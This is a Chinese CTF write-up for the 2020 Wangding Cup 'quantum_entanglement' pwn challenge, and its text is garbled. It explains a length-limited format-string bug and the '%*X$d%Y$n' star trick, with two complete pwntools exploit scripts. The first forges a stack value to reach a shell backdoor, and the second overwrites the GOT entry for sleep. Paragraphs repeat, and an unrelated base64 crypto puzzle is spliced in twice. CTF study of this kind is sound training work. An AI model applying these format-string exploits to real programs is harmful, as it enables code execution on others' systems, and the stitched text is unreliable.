题目名字:量子纠缠,实际没啥关系,强行起名,首先查看安全策略: 没有PIE,程序的逻辑就让你输入first name和last name,然后就输出了: 然后逆向分析题目:
没办法直接F5,在scanf的地方会报个分析异常,是参数引起的,可以选择把这句nop掉然后f5 分析: 程序main函数中先取两个随机值,放在栈上,然后注意我画圈的地方,它把其中一个随机值的后半段地址留在了栈上。在你输入完first name和last name之后,会进行一个login函数,里面有格式化串漏洞,接下来会判断开始存放在栈上的两个随机值是否相等(正常肯定是不相等的),相等的话,会有一个system(’/bin/bash’)奖励: 在login函数中,存在两个格式化串漏洞,但每个限制最大13个字符(输入的时候限制的):
这里用到了一个知识点, %*X$d%Y$n 会把栈中偏移X处的 值 赋给栈中偏移Y处的 指针指向的地址 。类似的题目是 MidnightsunCTF Quals 2020 pwn4 (感谢队内大佬点拨)
%*X$d%Y$n
所以利用思路就是:
'%*M$d%X$hn'
'%*N$c%Y$n'
然后我们看一下在格式化字符串的时候的栈结构:
b * 0x804876A 断在格式化字符串触发的时候,然后看栈结构: 所以,步骤中的M和N就分别是19和18。然后需要找一个栈->栈->栈的栈指针链,这个需要在栈的非常靠下的位置找到: 图中的三个都可以,我这里用的第一个,然后计算一下偏移: 然后写出exp:
b * 0x804876A
from pwn import * context.terminal=['tmux','splitw','-h'] p=process("./quantum_entanglement") payload1 = '%*19$d%65$hn' payload2 = '%*18$c%118$n' #gdb.attach(p) p.recv() p.sendline(payload1) p.recv() p.sendline(payload2) p.interactive() 由于中间有一个sleep(3),可能会睡3秒。而且%※这个格式化串是输出对应值数量的空格,每次随机值不同,可能输出的时间不同,但一般是几秒钟。 利用方法2 由于格式化串到后门之间还执行了一个sleep,所以我们可以修改sleep的got表。手段和上面一样,同样是使用%*X$d%Y$n将sleep的got表覆盖,然后将got表修改为后门的地址处。 找到输入的first name和last name在栈中的偏移X 和Y获得sleep.got和backdoor的地址通过两个payloadp32(sleepgot)+p32(backdoor)和 '%*Y$c%X$n完成利用 最后找到偏移分别是20和21,exp如下: from pwn import * context.terminal=['tmux','splitw','-h'] p=process("./quantum_entanglement") elf=ELF("./quantum_entanglement") sleepgot=elf.got['sleep'] backdoor=0x080489DB payload1=p32(sleepgot)+p32(backdoor) payload2 = '%*21$c' + '%20$n' #gdb.attach(p) p.recv() p.sendline(payload1) p.recv() p.sendline(payload2) p.interactive() 然后这种方法相比前一种方法,执行时间要长的多,因为写的是一个地址,要输出上G的空格。。。。 运行了将近两分钟。。。。 [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp文章目录[pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp题目分析利用方法1利用方法2还是一个比较有意思的个格式化串题目,限制了输入长度,需要使用星号的格式化串完成利用。题目分析题目名字:量子纠缠,实际没啥关系,强行起名,首先查看安全策略:没有PIE,程序的逻辑就让你输入first name和last name,然后就输出了:然后逆向分析题目:没 张三看到了一个神秘的字符串,似乎是base64。该题可能有多解,请尝试多次提交,flag格式flag{UUID} 密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz 泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF= 泄露的明文:ashlkj!@sj1223%^&*Sd456.
由于中间有一个sleep(3),可能会睡3秒。而且%※这个格式化串是输出对应值数量的空格,每次随机值不同,可能输出的时间不同,但一般是几秒钟。
由于格式化串到后门之间还执行了一个sleep,所以我们可以修改sleep的got表。手段和上面一样,同样是使用%*X$d%Y$n将sleep的got表覆盖,然后将got表修改为后门的地址处。
p32(sleepgot)+p32(backdoor)
'%*Y$c%X$n
最后找到偏移分别是20和21,exp如下:
from pwn import * context.terminal=['tmux','splitw','-h'] p=process("./quantum_entanglement") elf=ELF("./quantum_entanglement") sleepgot=elf.got['sleep'] backdoor=0x080489DB payload1=p32(sleepgot)+p32(backdoor) payload2 = '%*21$c' + '%20$n' #gdb.attach(p) p.recv() p.sendline(payload1) p.recv() p.sendline(payload2) p.interactive() 然后这种方法相比前一种方法,执行时间要长的多,因为写的是一个地址,要输出上G的空格。。。。 运行了将近两分钟。。。。 [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp文章目录[pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp题目分析利用方法1利用方法2还是一个比较有意思的个格式化串题目,限制了输入长度,需要使用星号的格式化串完成利用。题目分析题目名字:量子纠缠,实际没啥关系,强行起名,首先查看安全策略:没有PIE,程序的逻辑就让你输入first name和last name,然后就输出了:然后逆向分析题目:没 张三看到了一个神秘的字符串,似乎是base64。该题可能有多解,请尝试多次提交,flag格式flag{UUID} 密文:uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz 泄露的密文:pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF= 泄露的明文:ashlkj!@sj1223%^&*Sd456.
然后这种方法相比前一种方法,执行时间要长的多,因为写的是一个地址,要输出上G的空格。。。。 运行了将近两分钟。。。。